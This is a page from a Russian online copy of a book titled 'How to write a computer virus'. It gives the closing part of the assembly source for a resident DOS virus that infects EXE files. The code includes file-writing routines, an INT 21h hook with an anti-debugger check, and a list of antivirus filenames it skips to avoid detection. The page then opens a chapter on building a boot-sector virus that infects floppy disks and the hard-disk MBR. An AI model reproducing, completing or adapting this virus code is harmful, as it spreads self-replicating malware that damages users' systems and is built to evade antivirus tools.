Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 12 13 14 15 16 17 18  19 20 21 22 23 24 25 ... 27

    ;Data area
    new_dta       db   128 dup (0)    ;Новая DTA ...
    maska         db   61h,'.exe',0   ;Маска для
                                      ;поиска ...
    fn            db   12 dup (' '),0 ;Место для имени
                                      ;файла
    end_file      db   0ebh           ;Первые два бай-
                                      ;та вируса
                  db   push_len       ;в файле ...
    header        db   27 dup ( 0 )   ;Массив для
                                      ;заголовка ...
    descrypt      dw   0              ;Дескриптор ...
    to_02h        dw   0              ;Ячейки для
    to_04h        dw   0              ;хранения вычис-
    to_16h        dw   0              ;ляемых элемен-
    my_ip         dw   0              ;тов заголовка
    my_cs         dw   0              ;
    my_16h        dw   0              ;
    my_ss         dw   0              ;
    my_sp         dw   0              ;
    old_ss        dw   0              ;
    old_sp        dw   0              ;
    f_seek_low    dw   0              ;Младшая и стар-
                                      ;шая части
    f_seek_high   dw   0              ;указателя ...
    es_dta        dw   0              ;Адрес старой
    bx_dta        dw   0              ;DTA ...
    first_psp     dw   0              ;Сегмент первого
                                      ;PSP ...
    es_save       dw   0
    to_new_stack  equ  $ - vir        ;Смещение к
                                      ;стеку ...
    new_stack     dw   50 dup ( 0 )   ;Новый стек ...
    name_1        db   'ADIN'         ;Файлы ,имена
    name_2        db   'DINF'         ;которых начина-
    name_3        db   'DRWE'         ;ются так,
    name_4        db   'AIDS'         ;заражать
    name_5        db   'ANTI'         ;нельзя !
    name_6        db   'WEB'
    inside        db   0
    vizitka       db   'Programmed in Zhitomir'
                  db   ' Politechnical Institute'
                  db   'FICT is the best!'
                  db   ' (AU - ... ,virmaker)'
    mes_len       equ  $ - vizitka
    last          db   0              ;Последний байт

    ;-------------------------------------------------

    setpointer proc                   ;Процедура уста-
	       mov ax,4200h           ;новки указателя
	       mov bx,descrypt        ;в файле ...
	       int 21h
               ret
    setpointer endp

    read       proc                   ;Процедура чте-
               mov ah,3fh             ;ния из файла
	       mov bx,descrypt
	       int 21h
               ret
    read       endp

    write      proc                   ;Процедура запи-
               mov ah,40h             ;си в файл ...
               mov bx,descrypt
               int 21h
               ret
    write      endp

    mover      proc                   ;Процедура умно-
               mov cx,04h             ;жения на 16
    left:      shl dx,1               ;двойного слова
               shl ax,1               ;DX : CX
               adc dx,00h
               loop cs:left
               ret
    mover      endp

    rest_code  proc                   ;Процедура вос-
                                      ;станавливает
               push bx                ;в памяти текст
               push cx                ;промежуточного
               push si                ;обработчика
                                      ;INT 21h ...
               push di
               push es
               pushf
               cli
               mov es,cs:first_psp - 100h
               xor di,di
               mov si,offset cs:to_bios - 100h
               mov cx,code_len
    loader:    mov bl,byte ptr cs:[si]
               mov byte ptr es:[di],bl
               inc si
               inc di
               loop cs:loader
               sti
               popf
               pop es
               pop di
               pop si
               pop cx
               pop bx
               ret
    rest_code  endp

    search     proc                   ;Процедура
               push ax                ;сравнивает
               push cx                ;строки ...
               mov inside,1
               lea di,fn
    new_cmp:   mov al,byte ptr ds:[si]
               cmp byte ptr ds:[di],al
               jne cs:not_equal
               inc di
               inc si
               loop cs:new_cmp
               jmp cs:to_ret
    not_equal: mov inside,0
    to_ret:    pop cx
               pop ax
               ret
    search     endp

    ;-------------------------------------------------

    to_bios:   push ax                ;Текст промежу-
               push ds                ;точного обра-
               pushf                  ;ботчика Int 21h
               xor ax,ax
               mov ds,ax
    cmp word ptr ds:[0006h],0070h     ;Int 01h пере-
                                      ;хвачено ?
               jne cs:uuuuu
                                      ;JMP на систем-
                                      ;ный или вирус-
                                      ;ный обработчики
                                      ;INT 21h ...
               popf
               pop ds
               pop ax
               db 0eah                ;На вирусный...
    our_21h_ip dw to_new_21h
    our_21h_cs dw 00h
    uuuuu:     popf
               pop ds
               pop ax
               db 0eah                ;На системный...
    sys_21h_ip dw 00h
    sys_21h_cs dw 00h

    code_len equ $ - to_bios          ;Длина обработ-
                                      ;чика ...

    ;-------------------------------------------------

                  db   '7'            ;Последний байт
                                      ;вируса ...

    vir_len       equ $-vir           ;Длина вируса
                                      ;в байтах
    vir_par       equ ($-vir + 0fh)/16;И в параграфах


    prg ends
    end vir


    Как видите, в вирусе приняты определенные меры для
    того,  чтобы он не смог заразить антивирусные про-
    граммы .Дело в том,что все ( или почти все ) анти-
    вирусы при запуске проверяют себя на зараженность,
    и при обнаружении изменений своего кода выдают со-
    ответствующее сообщение . Поэтому вирус проверяет,
    содержатся - ли  в  имени найденного  файла  такие
    фрагменты :

               name_1        db 'ADIN';Файлы, имена
               name_2        db 'DINF';которых начи-
               name_3        db 'DRWE';наются так, за-
               name_4        db 'AIDS';ражать нельзя !
               name_5        db 'ANTI'
               name_6        db 'WEB'

    Для проверки используется разработанная ранее про-
    цедура SEARCH .  Если найденный файл действительно
    является антивирусной программой,  наш вирус отка-
    зывается от попытки заразить его .

    *
      Как вы заметили,в вирусе отсутствуют обработчики
      Int 13h и Int 2Fh. Так сделано потому, что пред-
      лагаемая программа отлично работает без  какой - 
      бы то ни было " фильтрации " прерывания Int 13h.
      Проверка повторной  загрузки возложена на  обра-
      ботчик Int 28h, по этой  причине прерывание  Int
      2Fh перехватывать не нужно.


               ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ


            ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
                    ВИРУСНОЙ ПРОГРАММЫ


        1.1  Краткие сведения о начальной загрузке
                 персонального компьютера

    Для начала  следует сказать  несколько слов о том,
    как происходит начальная загрузка ЭВМ.
    После проверки аппаратной части компьютера и запо-
    лнения  таблицы векторов прерываний BIOS  пытается
    прочитать  первый  сектор нулевой  дорожки нулевой
    стороны диска в дисководе " A ". Этот сектор поме-
    щается в память по адресу 0000:7C00h,после чего на
    указанный адрес передается управление. В прочитан-
    ном секторе содержится программа начальной загруз-
    ки (BOOT - запись) и некоторые другие сведения,не-
    обходимые для доступа к данным на диске. Программа
    начальной  загрузки проверяет,  является - ли диск
    системным.  Если это так, то загрузка операционной
    системы с диска продолжается, а если нет,то на эк-
    ран выводится сообщение :

    Non system disk or disk error
    Replace and press any key when ready .

    после чего система ожидает действий оператора.
    Если же  диск в " A " - дисководе  отсутствует, то
    программа BIOS считывает первый сектор нулевой до-
    рожки нулевой стороны первого жесткого  диска.  Он
    также помещается в память по адресу 0000:7C00h,по-
    сле чего по указанному адресу передается  управле-
    ние.В прочитанном секторе на жестком диске записа-
    на  так  называемая MBR  (главная  загрузочная за-
    пись). MBR является программой, которая определяет
    активный  раздел  жесткого диска, считывает загру-
    зочную запись (BOOT - запись) этого раздела в опе-
    ративную память и отдает ей управление. Дальше все
    происходит, как при загрузке системы с гибкого ди-
    ска. Как видим, процесс загрузки с винчестера  яв-
    ляется как бы двухступенчатым.
    Если же программа MBR не нашла активный раздел, то
    выдается сообщение об отсутствии загрузочных  уст-
    ройств, и система останавливается.В некоторых ста-
    рых машинах при невозможности запустить операцион-
    ную систему загружался интерпретатор языка БЕЙСИК,
    записанный в микросхемах ПЗУ. Однако новые  модели
    компьютеров не содержат встроенного  интерпретато-
    ра и не используют его.


            1.2 Понятие о загрузочных вирусах

    Загрузочными  называют вирусы, способные  заражать
    загрузочные сектора гибких и жестких дисков и  по-
    лучающие управление при попытке " запустить " опе-
    рационную систему с зараженного диска.
    Можно  выделить  следующие основные  разновидности
    вирусных программ указанного типа :

    1. Заражающие BOOT - сектора гибких дисков
    2. Заражающие BOOT - запись активного раздела  же-
       сткого диска и BOOT - сектора гибких дисков
    3. Заражающие  MBR ( Master Boot Record ) жесткого
       диска BOOT - сектора гибких дисков

    Отметим,что заражение BOOT - секторов дискет явля-
    ется  обязательным, иначе  вирус просто не  сможет
    распространяться .
    Кроме того, почти все загрузочные вирусы  являются
    резидентными,что объясняется спецификой их работы.
    Нерезидентный вирус смог бы размножаться только  в
    том случае, если  при  загрузке с  диска " A "  из
    дисковода " B " забыли вытащить  дискету, или  при
    загрузке с зараженного винчестера диск находится в
    одном из дисководов.Очевидно,что при таком алгори-
    тме  работы вирус  размножался  бы очень медленно,
    и его создание было бы просто бессмысленным.
    Большое  распространение получили также  файлово -
    загрузочные  вирусы, которые могут заражать  файлы
    типов EXE, COM а иногда и другие. Ярким представи-
    телем этой разновидности можно считать ONEHALF,ко-
    торый может  заражать EXE и COM - файлы. Файлово -
    загрузочные  вирусы являются  более заразными, чем
    файловые. Создать такой вирус также сложнее, и по-
    этому их подробное  рассмотрение выходит  за рамки
    данной книги.


             1.3 Алгоритм работы загрузочного
                          вируса

    Несмотря на огромное разнообразие загрузочных  ви-
    русных программ, алгоритмы их работы незначительно
    отличаются друг от друга. В этом пункте мы рассмо-
    трим одну из возможных реализаций такого  алгорит-
    ма. Только сначала условимся, что наш вирус  будет
    заражать загрузочные  сектора гибких дисков  и MBR
    ( Master Boot Record) первого жесткого диска. Поэ-
    тому можно предложить следующий " план работы " :
Предыдущая страница Следующая страница
1 ... 12 13 14 15 16 17 18  19 20 21 22 23 24 25 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама